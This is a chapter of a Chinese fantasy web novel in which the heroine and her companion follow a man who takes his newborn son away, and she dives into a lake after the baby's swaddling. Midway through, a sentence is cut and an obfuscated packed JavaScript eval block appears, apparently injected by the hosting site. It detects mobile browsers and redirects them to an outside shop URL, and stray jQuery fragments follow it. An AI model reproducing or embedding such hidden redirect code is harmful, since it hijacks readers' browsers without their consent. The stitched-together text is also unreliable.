59. 降生

作品:《阴湿小狗他又在装乖

    白不悔几步冲到她眼前来,大怒道,“若是冲撞了孩子,害他没有灵脉,那可如何是好!”


    “还不速速离开!”


    这白不悔骂她字字句句皆是没灵脉,难不成他真没有灵脉?


    须知以她对这世道的见解嘛……有些人越是没有什么,就越要强撑着装出有的样子,甚至带头去欺凌那些和自己一样没有的人。


    这种凶恶之徒反而最是外强中干胆小心虚,他们无法面对真实弱小的自己,生怕伪装被旁人勘破,沦为笑柄。


    “今日他的灵脉之沛然远非昔日可比,但却十分虚浮,不对。”郁安淮像是知道她在想什么,声音恰到好处在识海中轻轻响起,“那红衣女魔大抵是没说谎的。”


    一阵寒意顺着后脊背慢慢爬上来,白落烟微微眯起双眼,似笑非笑瞧着那急得热锅上的蚂蚁般的白不悔。


    窃取灵脉……


    此事听起来匪夷所思到如信口胡说一般。


    如今查探下来,才惊觉真相比谎言更为荒诞不经。


    灵脉乃天成之物,在婴孩顺承爹娘血脉的那一刻便已然注定,终其一生都再不会有何进境。


    凡人终其一生修行,可以千锤百炼的也只有心境之“道”与运化灵脉之“术”罢了。


    若是灵脉微薄却肯沉下心苦修钻研,纵入不得七曜这等高门世家,也是能到一些次一些的门户做客卿。如此,谈不上泼天富贵,但也足以一生富裕不愁吃穿。


    可若是灵脉高强却不修行,便会如夜心和孟籍那般,全然持不得咒。如一个富可敌国的人,空守着金库中却饿死其中那般令人惋惜。


    如今她方才惊觉,若是家族指望不得,灵脉高强却不修行还有另一种更悲惨的命运。


    他们怀璧其罪,很快会被白不悔这般贪婪恶毒,伤天害理之人觊觎强夺。


    先前总觉得白不悔十分可恨,如今却觉得他十分滑稽,半点没意思。


    同为无灵脉之人,没人比她更明白,这明面上装腔作势的白不悔,此时心底会有多惶恐。


    白落烟再次回肘轻轻撞了郁安淮一下,示意他自己晓得了。


    她面上不显山露水,嘴上和白不悔却半点不客气。


    “是吗,灵脉天注定,谈何冲撞?又不像你这心术不正的东西,惯会欺生。”


    白不悔:“……”


    “你,你你……”白不悔嘴笨,一时间居然没想到怎么骂回来。他的目光往郁安淮这“陈兄”那边一瞟,整个人更是如哑了火的炮仗。


    “怎么回事!”白不悔这边受了气,转头就把满心对着白落烟的怒火冲着下人们撒,“折腾了这许久,怎么还没生!”


    “我可告诉你们,孩子要是有个三长两短,我要你们九族陪葬!”


    “哎呀大少爷莫急,好饭咱们可是不怕晚呐。”门终于被从里面推开了,稳婆满脸堆笑,抱出一个红色的襁褓来。


    干涸龟裂的土壤颤颤巍巍冒出一颗新芽,婴儿的清亮的啼哭骤然打破了白府的沉沉死寂。


    见了那孩子,白不悔哪里顾不得白落烟,更没有理会房中的夜心。


    他几步上前,近乎粗暴地从稳婆手中夺过孩子。


    “哎呦!大少爷莫急……莫急……”稳婆险些被他拽得一个趔趄,面上却笑意不减,手底下还虚虚护着,唯恐白不悔毛手毛脚摔了那孩子。


    稳婆笑得合不拢嘴:“恭喜大少爷弄璋之喜,少奶奶给您生了个顶壮实的小少爷。”


    一时间下人们都停下手中的杂事,贺喜的吉祥话不绝于耳。


    白落烟并未去看那婴孩,她拨开贺喜的下人们,游鱼一般悄无声息绕到虚掩着的卧房前,推开门朝里看去。


    浓重的血腥气扑面而来,远远看去,夜心一动不动地躺在床上,她脸色如金纸,已然是昏过去了。


    然而,那满室的血色的锁链却仿佛见了日光疯涨的藤蔓,比先前更多更密,几乎将夜心单薄的身影吞没殆尽。


    白落烟心头一动,这锁链……


    如郁安淮所言,夜心的确不曾说谎,但只怕……她那真话且藏了一半。


    院子里人多嘴杂,她把心思强自咽下。


    “沧海,旁人都贺我,你为何不贺?”


    院落中,白不悔拿着高调的话忽然打破了那些贺喜声,擢住了白落烟的注意。


    白不悔听了仆从们连串的彩头话却无甚喜色,更是没有管屋里的夜心,反而转身朝着无关于此的沧海走去。


    白不悔眼神里浮现出毫不掩饰的恶意和捉弄,傲慢得令人厌恶。


    那沧海面上没什么喜色,反而是一片空寂,像一个被掏空了血肉的壳子。


    可沧海仍端庄行礼,涩声道,“大公子春秋鼎盛,福祚绵长。椒聊之实,蕃衍盈升。”


    不知道白不悔有没有听懂,反正白落烟是没有听懂,她忙朝郁安淮看过去。


    郁安淮猝然撞见白落烟求知若渴的目光,气息一顿,斟酌了片刻才道,“嗯……是夸他很能生的意思。”


    白落烟点点头,原来如此。


    白不悔那边可就没人解释了,他眉心一蹙,显然没听懂也不想露怯,轻哼一声就算揭过。


    白不悔把新生的婴孩递到了沧海的面前,复又问道:“沧海,你看这孩子,如何?”


    沧海摘下遮着眼睛的咒带,露出一张苍白清俊的青年人面孔。他只看了婴儿一眼,便把咒带系回去了,沉着脸摇了摇头。


    白不悔面上的得意骤然消失了,迁怒无辜的稳婆,大声骂道:“恭什么喜?有什么可喜的!”


    “夜心这个没用的肚子,这可是第二个了!”


    白落烟抿抿唇,这沧海摇头,难道是说……孩子没有灵脉?


    可是那就奇怪了,有没有灵脉,是不可能单凭一双眼睛就瞧出来啊。


    白不悔骂完,气狠狠朝着卧房的方向剜了一眼,那狠厉的目光掠过白落烟之时,更是盈满了狠厉怨毒。


    白落烟不知他会不会迁怒夜心,害她怨气疯涨。脚下动作比心更快,不知不觉她已然跨出一步,挡在了夜心门前。


    谁知白不悔根本没有想找夜心麻烦之意,他紧紧抱着孩子,转身大步流星朝院落外走去。


    沧海转头,绑着咒带的眼睛朝白落烟的方向草草一瞥,也沉默地离开了。


    “快,用你的时候到了。”白落烟不知道这变故是为什么,但识海中不祥之感愈发深重。


    她当机立断,对郁安淮低声说道,“起个障眼法,我们悄悄跟上去。”


    “这是为何?”郁安淮紫眸中略过一分不解,但他仍是听命照做。


    言语间,指尖一簇如豆的火苗已然自他掌心浮出来,飘飘悠悠跟着白不悔和沧海消失在院门外。


    白落烟:“……”


    这还用问吗?哎,男人。


    “你们男人真是……我都懒得说你了。”她简直被郁安淮的迟钝气得无话可说,“孩子刚落地,哪有不交予亲娘奶娘,反而被亲爹火急火燎抱走的道理?”


    她嗤笑一声,嘲讽道,“难道孩子是花是树,喝西北风就能活?”


    话糙理不糙,郁安淮被这一番连珠炮突然点醒,恍然大悟:“……小枝说的有理,是我疏忽了。”


    他沉吟片刻,面色沉了下来,道,“正巧,我也想会一会那沧海,此人绝不简单。”


    二人对视一番,不再多言,当即就动身,循着那微弱灵火指引,追着白不悔的踪迹而去。


    “沧海何处不简单?”路上,仗着有障眼法,白落烟压低声音问道。


    郁安淮轻描淡写道,“他的眼睛和常人不一样,许是孟家人。”


    “也不见得吧?”那沧海看上去老实软弱,平平无奇,白落烟下意识反驳道,“总不能天底下蒙着眼睛的都是孟家人吧?”


    “再说……你的眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069559|187006||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    睛不是也和别人长得不一样?”她说着侧过头去,目光停在郁安淮俊美无俦的脸上,好奇地上下打量,“你的眼睛是紫色的,很漂亮是不假,但也平平无奇,无甚异能啊。”


    “怎会普通?”郁安淮闻言忽然笑了。


    这倒是真把白落烟的好奇心思给勾了起来,“怎么说?还有什么过人之处?”


    “我这眼睛跟着我,那却是享了无边好处……”那双潋滟的紫眸在迷雾中流转着戏谑却专注的光华,他故意拖长了话尾,慢悠悠道,“能日日夜夜看着小枝,这难道不是它千年修来福份?”


    白落烟:“……”


    她深吸一口气,攥紧拳头,把它举到郁安淮面前晃了晃。


    “说正事,要不然,我沙包大的拳头就会捶在你那双享乐无边的眼睛上,让它知道什么叫眼前一黑。”


    郁安淮:“……”


    他像是想笑但没敢笑,轻咳了声,见好就收,把话头转回正事上,“我与孟籍一处长大,他孟家人有多少能耐,我一眼就能认出来。”


    白落烟放下拳头,郁安淮状似无辜眨眨眼,顺势牵起了她的手。


    不知是不是怕被锤,攥得牢牢的。


    他款款道,“沧海方才看那婴儿时候,全身灵脉在睁开眼睛的一刹那尽数汇集到了眼睛上,孟籍用眼睛的时候亦是如此。”


    “孟家人若眼睛上的本事平平,灵脉再高也不得重用。这沧海被遣到白家辅佐下任家主,估摸着是来头不小啊。”


    白落烟想起那触柱而亡的孟夫人和不谙世事的孟籍,仍有些不解,“孟籍的能耐不过是看人死之前的画面而已,也算不得什么惊天动地的大本事吧?”


    “算不得什么惊天东西的大本事?可是孟家千年最接近神明的眼睛。”


    “坊间都传言说,他的眼睛被神女吻过。”郁安淮闻言失笑,摇摇头,“他可洞阴阳见因果,之前给我们看的,不过是一鳞半爪罢了。”


    原来如此!


    白落烟咂舌,还真如那群人说的,郁安淮身边真是没有一个废物啊。


    除了她。


    不。


    现在的她,再也不是什么任人宰割的废物了。


    “不过说到底,他们眼睛再厉害又如何?”郁安淮突然话锋一转,言语间又带上了那副近乎稚气的攀比骄矜,“孟沧海为虎作伥,孟籍又不过是个混吃等死的废物,两人都没什么用处。”


    白落烟:“……”


    这人为了显摆自己最厉害最有用,兜这么大一个圈子也真是煞费了苦心,不知道图些什么。


    于是她没好气敷衍道,“……是是是,知道了,咱们大祝司最有用,行了吧?”


    两人边走边低声言语,然而跟着白不悔却是越走越偏辟,绕过精心修剪的花圃,没多久居然跟到了湖边。


    白不悔早已不见踪影,只余下一片仙雾笼罩着的茫茫水面。


    白落烟蹙起眉头,她本想着,白不悔定是带孩子去做什么邪术偷取旁人的灵脉。


    等她和郁安淮见识了是什么邪术,以郁安淮见多识广,自然可以找到解救夜心的解法。


    可是,白不悔怎么会来到湖边?他带孩子来这里做什么?


    这湖有什么特别之处?


    白落烟闭上眼进入识海,学着孟家人用眼睛的法子,把神剑之力聚于双眸。再睁开眼时,迷雾乍然消失,目之所及前所未有的清晰。


    白落烟仔细在湖面上搜寻着可疑之物,忽然瞳孔一缩。


    离岸边不远处的水面上,一片似曾相识的红色绢布正悄无声息地往水面下面沉去,转瞬就消失不见了。


    那是方才稳婆包婴儿的襁褓。


    白不悔那个畜生竟把孩子扔进湖里了!


    不过既然她在,一切还来得及。


    电光石火指尖,白落烟单手一撑便翻过白玉阑干。她毫不犹豫一跃而下,潜入幽暗的湖水中。